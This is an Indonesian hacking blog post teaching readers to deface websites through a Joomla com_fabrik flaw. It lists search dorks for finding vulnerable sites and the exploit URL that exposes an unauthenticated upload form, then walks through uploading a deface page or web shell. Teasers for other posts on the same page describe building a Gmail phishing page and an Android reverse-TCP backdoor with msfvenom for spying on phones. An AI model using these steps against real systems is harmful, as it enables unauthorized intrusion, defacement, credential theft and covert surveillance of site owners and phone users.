Deface com_fabrik

-
Assalamualaikum wr.wb
Hari ini aenk mau kasih tutorial deface com Fabrik. Ok langsung aja...
Conntact me:
WA: 08987125063
Instagram: www.instagram.com/rizkyexploit/
Dork:
inurl:index.php?option=com_fabrik
inurl:index.php/component/fabrik/ site:
inurl:index.php?option=com_fabrik&view= site:
inurl:importcsv.php site:
inurl:viewTable?cid= site:com

(Kembangin lagi dork nya biar dapet yg vuln)

Exploit:
/index.php?option=com_fabrik&c=import&view=import&filetype=csv&table=1

Atau

/index.php?option=com_fabrik&c=import&view=import&filetype=csv&tableid=1echercher
1. Dorking menggunakan Search Engine
2. pilih salah satu web yg pengen  Lalu masukan exploitnya.

contoh: target.co.li/index.php?option=com_fabrik&c=import&view=import&filetype=csv&table=1

3. Vulnerability ~ Muncul Form Upload
4. Upload sc deface kalian/shell, Lalu Klik Import CSV

Shell/File Akses: /media/namafilekamu

 Sekian semoga bermanfaat 😉 tq
Wassalamualaikum wr.wb
Thanks all

Komentar

Posting Komentar

Postingan populer dari blog ini

Top 10 hacking tool for hackers

-
Gambar
Assalamualaikum wr.wb Kembali lagi ea mank Langsung aja mank Conntact me? WA: 08987125063 Instagram:  www.instgram.com/rizkyexploit/ 1. Aircrack-ng Aircrack-ng.org adalah program pemecah kunci 802.11 WEP dan WPA-PSK yang dapat menyelesaikan kunci sekali informasi yang cukup mengenai istilah yang dicuri. Itu mengeksekusi serangan FMS standar bersama beberapa perbaikan seperti pelanggaran KoreK, dan juga serangan PTW semua-baru, dengan cara ini membuat serangan itu jauh lebih cepat dibandingkan dengan perangkat pemisahan WEP lainnya. Sebenarnya, Aircrack-ng adalah pengaturan perangkat lunak untuk mengevaluasi sistem jarak jauh. 2. Sqlmap sqlmap adalah perangkat pengujian infiltrasi open source yang merototkan prosedur untuk mengenali dan menyalahgunakan ketidaksempurnaan infus SQL dan dengan asumsi mengendalikan server database. Dukungan penuh untuk MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase, SAP Max
Baca selengkapnya

Cara membuat phising gmail

-
Gambar
Assalamualaikum wr.wb Kali ini saya akan memberikan tutorial cara membuat phising gmail. Conntact me: WA: 08987125063 Instagram:  www.instgram.com/rizkyexploit/ Pengertian: Phising  adalah suatu metode untuk melakukan penipuan dengan mengelabui target dengan maksud untuk mencuri akun target. Istilah ini berasal dari kata “fishing” = “memancing” korban untuk terperangkap dijebakannya.  Phising  bisa dikatakan mencuri informasi penting dengan mengambil alih akun korban untuk maksud tertentu. Ngerti ga njenk? Ga ngerti bodo amat  Ok langsung aja ke tutorialnya njng :v 1) Daftarkan Hosting Gratis (Ini diperlukan untuk menyimpan kode halaman phishing Anda untuk penggunaan di masa mendatang).  2) Mendaftar dengan Email, Kata Sandi dan Pilih satu nama untuk situs web Anda.  3) Setelah mendaftar cukup klik Saya seorang Pro dan tutup semua jendela sembulan yang mengatakan untuk memutakhirkan.  4) Sekarang Buka Email Anda dan Konfirmasikan email Anda dari surat
Baca selengkapnya

Cara Sadap hp dengan metasploit.

-
Gambar
Assalamualaikum wr.wb Ketemu lagi dengan saya Rizky conntact me: WA: 08987125063 Instagram:  www.instgram.com/rizkyexploit/  Hari ini saya akan memberikan tutorial cara sadap hp dengan metasploit penasaran? Langsung aja ke tutorial jangan lupa follow IG w kimak. Bahan -HP diatas Lolipop -Termux / jika Di PC Kali Linux -Internet Lancar -Metasploit Framework -Kopi Ok Gass Step By Step Ikuti tutorialnya jgn sampe salah. BUKA TERMUX / Kali Linux kalian 1. Cek IP kalian , caranya ketik ifconfig , disini IP saya Sensorrr 2. Buat backdoor , caranya masukkan perintah msfvenom -p android/meterpreter/reverse_tcp LHOST=(IP kalian) LPORT=4444 R > andro.apk , masukkan ip kalian tanpa tanda kurung 3. Beri hak akses untuk backdoor kalian tadi dengan perintah chmod 777 andro.apk 4. Buka metasploit nya dengan perintah msfconsole 5. Aktifkan exploit multi handler , caranya masukkan perintah use multi/handler 6. Aktifkan payloadnya, caranya masukkan pe
Baca selengkapnya